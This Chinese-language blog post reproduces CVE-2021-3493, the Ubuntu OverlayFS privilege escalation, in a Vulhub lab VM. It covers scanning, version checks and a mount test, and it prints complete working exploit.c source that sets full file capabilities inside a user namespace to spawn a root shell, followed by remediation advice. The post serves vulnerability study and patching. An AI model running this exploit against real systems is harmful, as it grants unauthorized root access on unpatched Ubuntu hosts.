2831 字
14 分钟
OverlayFS 提权漏洞(CVE-2021-3493)复现

CVE-2021-3493 是 Ubuntu 内核特有的本地提权漏洞,CVSS 7.8。上游 Linux 内核不允许普通用户挂载 OverlayFS,Ubuntu 内核携带了一个放开此限制的补丁;但 OverlayFS 在同步扩展属性时,没有校验 security.capability(文件能力)的写入来源。攻击者在用户命名空间内挂载 OverlayFS,给文件写入代表全部特权的能力位,这个属性被持久化到磁盘上的真实文件;回到全局命名空间执行该文件,内核按能力属性授予进程全部特权,进程随即切换为 root。漏洞只存在于打了该补丁的 Ubuntu 内核,上游内核不受影响。

复现基于 Vulhub 的 polkit/CVE-2021-4034 靶场(Qemu 虚拟机内的 Ubuntu 20.04,内核 5.4.0-26-generic),覆盖内核版本确认、用户命名空间权限检查、OverlayFS 挂载模拟、POC 提权四个阶段,文末附完整的 POC 代码简析。

漏洞基础信息#

漏洞编号CVSS 评分影响版本漏洞类型
CVE-2021-34937.8Ubuntu 20.10、20.04 LTS、18.04 LTS、16.04 LTS(含 14.04 ESM)的内核本地权限提升(LPE)

漏洞复现#

复现环境准备#

本文是 PwnKit 提权漏洞(CVE-2021-4034)复现的延伸,直接使用 vulhub/polkit/CVE-2021-4034 目录下的靶机。因为容器中运行了 Qemu 虚拟机,所以初始化需要消耗更长时间。可以使用 docker compose logs 查看运行时的日志。

Terminal window
┌──(kali㿿kali)-[~]
└─$ apt install docker.io docker-compose # 安装Docker和docker-compose
└─$ git clone https://github.com/vulhub/vulhub.git # 将 Vulhub 项目克隆到本地
└─$ cd vulhub/polkit/CVE-2021-4034
└─$ docker-compose up -d # 拉取镜像并启动容器
└─$ docker ps # 确认容器启动状态
3c5c6abb13d9 vulhub/polkit:0.105 "/bin/sh -c 'qemu-sy…" 24 minutes ago Up 24 minutes 0.0.0.0:2222->2222/tcp, :::2222->2222/tcp cve-2021-4034-cmd-1
└─$ docker-compose logs
# 日志出现以下内容说明初始化成功
cmd-1 | [ OK ] Finished Execute cloud user/final scripts.
cmd-1 | [ OK ] Reached target Cloud-init target.

端口扫描与服务识别#

Terminal window
┌──(kali㿿kali)-[~]
└─$ nmap -sS -Pn -T4 -sV -p- --script "default,vulners" 192.168.31.148
# 扫描结果
PORT STATE SERVICE VERSION
2222/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 52:8a:4b:9e:e1:9e:37:71:d0:d4:04:ea:78:85:ea:ef (RSA)
| 256 a7:40:57:0f:9b:b8:4a:f0:4d:e5:87:8f:0d:75:31:69 (ECDSA)
|_ 256 ac:8e:ea:83:00:ef:b8:a2:b4:fb:b2:d4:3b:14:82:15 (ED25519)
MAC Address: 00:0C:29:B3:23:74 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OpenSSH 8.2p1 Ubuntu 4:这个版本对应的上游操作系统是 Ubuntu 20.04(Focal Fossa)。 2222/tcp:非标准 SSH 端口。

登录目标#

在漏洞复现过程中我们已知用户 ubuntu 的密码为 vulhub,先使用这个已知的账户登录:

Terminal window
┌──(kali㿿kali)-[~]
└─$ ssh ubuntu@192.168.31.148 -p 2222
ubuntu@192.168.31.148's password:
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-26-generic x86_64)
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
ubuntu@ubuntu:~$ id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),118(lxd)

漏洞验证#

检查内核版本#

首先确认内核版本是否在受影响的范围内。5.4.0-26-generic是 20.04 发布时的初始版本,处于漏洞的影响区间。

Terminal window
ubuntu@ubuntu:~$ uname -a
Linux ubuntu 5.4.0-26-generic #30-Ubuntu SMP Mon Apr 20 16:58:30 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

检查“用户命名空间”权限#

该漏洞的触发前提是系统允许普通用户创建自己的命名空间(User Namespace)。

Terminal window
ubuntu@ubuntu:~$ sysctl kernel.unprivileged_userns_clone
kernel.unprivileged_userns_clone = 1

结果 = 1:漏洞极大概率存在。系统允许非特权用户创建命名空间,这是 OverlayFS 提权的必要路径。

结果 = 0:系统加固了。普通用户无法创建命名空间,漏洞利用会被拦截。

功能模拟#

如果前两步都符合,可以通过一个简单的命令来测试内核是否会“错误地允许”用户在自己的命名空间里挂载 OverlayFS。这不会提权,但能验证路径是否打通。

Terminal window
ubuntu@ubuntu:~$ unshare -rm bash -c "mkdir l u w m; mount -t overlay overlay -o lowerdir=l,upperdir=u,workdir=w m && echo 'VULNERABLE: Mount Success' || echo 'PATCHED: Mount Failed'; umount m; rm -rf l u w m"
VULNERABLE: Mount Success
umount: /home/ubuntu/m: filesystem was unmounted, but failed to update userspace mount table.

输出 VULNERABLE: Mount Success:内核允许你在非特权环境下操作 OverlayFS 的挂载。这意味着内核没有对该操作进行严格的边界限制,漏洞确认存在。

输出 Operation not permitted 或 Mount Failed:内核拒绝了挂载请求。这说明内核已经修补,或者管理员通过安全策略限制了 OverlayFS 的使用。

GitHub POC#

在 GitHub 上查找可用的 POC 并尝试提权:

Terminal window
ubuntu@ubuntu:~$ git clone https://github.com/briskets/CVE-2021-3493.git
ubuntu@ubuntu:~$ cd CVE-2021-3493/
ubuntu@ubuntu:~/CVE-2021-3493$ gcc exploit.c -o exploit
ubuntu@ubuntu:~/CVE-2021-3493$ ./exploit
bash-5.0# id
uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),118(lxd),1000(ubuntu)
bash-5.0# whoami
root

POC 的代码级原理见下文“POC 代码简析”。

漏洞核心原理#

机制背景#

该漏洞的核心在于 Ubuntu 内核的两项设计叠加:允许普通用户创建用户命名空间(User Namespace),以及允许普通用户挂载 OverlayFS(后者是 Ubuntu 内核自带的补丁,上游内核不允许)。用户命名空间内的用户拥有该空间内的全部权限(映射为 UID 0),但这些权限只在空间内部有效;内核通过能力(capability)校验等机制,防止这种空间内权限被带到全局命名空间。

逻辑漏洞#

Linux 的文件能力(file capabilities)机制允许给可执行文件设置 security.capability 扩展属性,内核在执行该文件时按属性内容授予进程特权。设置这个属性需要 CAP_SETFCAP 能力,且内核会校验申请者的权限是否在全局命名空间中有效。

OverlayFS 在合并层写入文件时,会把文件的扩展属性同步到上层目录。Ubuntu 的内核代码在处理这步同步时,漏掉了对 security.capability 的来源校验:它认为既然用户在自己的命名空间里是 root,就有权给文件设置能力属性,并允许这个属性被真实地写入到上层目录的物理文件中。

从虚拟特权到真实提权#

攻击者在用户命名空间内挂载 OverlayFS,把一个可执行文件复制进合并层,并通过 setxattr 给它写入代表全部特权的能力位(Full Capabilities)。由于内核没有拦截这个写入,这个带有能力属性的文件被持久化到上层目录。攻击者退出命名空间回到真实系统后,以普通用户身份执行这个文件:内核读取文件上的 security.capability 属性,按其内容授予进程全部特权,进程随即调用 setuid(0) 切换为全局 root,并启动 root Shell。

POC 代码简析#

exploit.c#

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mount.h>
//#include <attr/xattr.h>
//#include <sys/xattr.h>
int setxattr(const char *path, const char *name, const void *value, size_t size, int flags);
#define DIR_BASE "./ovlcap"
#define DIR_WORK DIR_BASE "/work"
#define DIR_LOWER DIR_BASE "/lower"
#define DIR_UPPER DIR_BASE "/upper"
#define DIR_MERGE DIR_BASE "/merge"
#define BIN_MERGE DIR_MERGE "/magic"
#define BIN_UPPER DIR_UPPER "/magic"
static void xmkdir(const char *path, mode_t mode)
{
if (mkdir(path, mode) == -1 && errno != EEXIST)
err(1, "mkdir %s", path);
}
static void xwritefile(const char *path, const char *data)
{
int fd = open(path, O_WRONLY);
if (fd == -1)
err(1, "open %s", path);
ssize_t len = (ssize_t) strlen(data);
if (write(fd, data, len) != len)
err(1, "write %s", path);
close(fd);
}
static void xcopyfile(const char *src, const char *dst, mode_t mode)
{
int fi, fo;
if ((fi = open(src, O_RDONLY)) == -1)
err(1, "open %s", src);
if ((fo = open(dst, O_WRONLY | O_CREAT, mode)) == -1)
err(1, "open %s", dst);
char buf[4096];
ssize_t rd, wr;
for (;;) {
rd = read(fi, buf, sizeof(buf));
if (rd == 0) {
break;
} else if (rd == -1) {
if (errno == EINTR)
continue;
err(1, "read %s", src);
}
char *p = buf;
while (rd > 0) {
wr = write(fo, p, rd);
if (wr == -1) {
if (errno == EINTR)
continue;
err(1, "write %s", dst);
}
p += wr;
rd -= wr;
}
}
close(fi);
close(fo);
}
static int exploit()
{
char buf[4096];
sprintf(buf, "rm -rf '%s/'", DIR_BASE);
system(buf);
xmkdir(DIR_BASE, 0777);
xmkdir(DIR_WORK, 0777);
xmkdir(DIR_LOWER, 0777);
xmkdir(DIR_UPPER, 0777);
xmkdir(DIR_MERGE, 0777);
uid_t uid = getuid();
gid_t gid = getgid();
if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)
err(1, "unshare");
xwritefile("/proc/self/setgroups", "deny");
sprintf(buf, "0 %d 1", uid);
xwritefile("/proc/self/uid_map", buf);
sprintf(buf, "0 %d 1", gid);
xwritefile("/proc/self/gid_map", buf);
sprintf(buf, "lowerdir=%s,upperdir=%s,workdir=%s", DIR_LOWER, DIR_UPPER, DIR_WORK);
if (mount("overlay", DIR_MERGE, "overlay", 0, buf) == -1)
err(1, "mount %s", DIR_MERGE);
// all+ep
char cap[] = "\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00";
xcopyfile("/proc/self/exe", BIN_MERGE, 0777);
if (setxattr(BIN_MERGE, "security.capability", cap, sizeof(cap) - 1, 0) == -1)
err(1, "setxattr %s", BIN_MERGE);
return 0;
}
int main(int argc, char *argv[])
{
if (strstr(argv[0], "magic") || (argc > 1 && !strcmp(argv[1], "shell"))) {
setuid(0);
setgid(0);
execl("/bin/bash", "/bin/bash", "--norc", "--noprofile", "-i", NULL);
err(1, "execl /bin/bash");
}
pid_t child = fork();
if (child == -1)
err(1, "fork");
if (child == 0) {
_exit(exploit());
} else {
waitpid(child, NULL, 0);
}
execl(BIN_UPPER, BIN_UPPER, "shell", NULL);
err(1, "execl %s", BIN_UPPER);
}

实验环境构建#

代码首先通过一系列辅助函数在文件系统中建立起攻击所需的目录结构。利用 DIR_BASE 及其子目录定义,程序在磁盘上创建了 OverlayFS 运行必不可少的四个组件:底层目录(Lower)、上层目录(Upper)、工作目录(Work)以及最终挂载点合并目录(Merge)。这一阶段的目的是准备一个分层文件系统的操作空间。根据 OverlayFS 的工作机制,所有在合并层发生的写操作,其实际的物理文件和元数据最终都会被存储在上层目录中。

创建用户命名空间与 UID 映射#

程序利用 unshare(CLONE_NEWNS | CLONE_NEWUSER) 系统调用创建了独立的挂载命名空间和用户命名空间。在这一隔离的运行环境中,程序通过修改 /proc/self/uid_map 和 /proc/self/gid_map 文件,将当前普通用户的 ID 映射为该空间内的 UID 0(超级用户)。虽然这种权限仅限于该命名空间内部,但它赋予了进程在空间内执行 mount 系统调用的权限,从而允许程序将 OverlayFS 文件系统挂载到之前准备好的合并目录上。

写入扩展属性与内核校验绕过#

在挂载完成后的合并目录中,程序将自身的可执行文件复制进去,并执行最核心的操作:调用 setxattr 函数。该函数用于设置文件的扩展属性,程序向 security.capability 属性中写入了一段经过构造的二进制数据 cap。这段数据代表了 Linux 内核中的所有特权位(Full Capabilities)。正常情况下,非全局 root 用户禁止设置此类特权属性,但 Ubuntu 的内核在处理 OverlayFS 时存在逻辑错误,它未能正确校验该写入请求是否来自真实的全局特权用户,导致这组特权标志位被物理地写入到了底层磁盘的上层目录文件中。

root 权限获取#

当负责属性写入的子进程退出后,隔离的命名空间随之销毁,但物理磁盘上已经生成了一个带有特权标志的可执行文件。主进程随后通过 execl 函数启动位于上层目录中的这个文件。内核在加载该程序时,会读取磁盘上的扩展属性并赋予该进程真实的内核特权。程序重新进入 main 函数后,通过判断逻辑识别出自身已具备特权身份,随即调用 setuid(0) 和 setgid(0) 将进程的有效用户 ID 切换为全局 Root,并最终执行 execl 启动一个具有最高权限的交互式 Bash Shell。

修复方案#

  • 升级 Ubuntu 内核至修复版本(如 Ubuntu 20.04 的 5.4.0-70 及以上)。修复方式:内核在用户命名空间内通过 OverlayFS 设置 capability 扩展属性时,将格式从 v2 升级为 v3,v3 格式包含 rootid 字段,记录能力所属的命名空间,跨命名空间的提权因此失效;
  • 临时缓解:sysctl kernel.unprivileged_userns_clone=0 关闭普通用户的命名空间创建权限(见上文漏洞验证);
  • 上游 Linux 内核不受影响,该漏洞仅存在于允许非特权 OverlayFS 挂载的发行版补丁内核。

参考链接#

OverlayFS 提权漏洞(CVE-2021-3493)复现
https://blog.mal-suen.cn/posts/2023/05/149/
作者
Malcolm
发布于
2023-05-12
许可协议
CC BY-NC-SA 4.0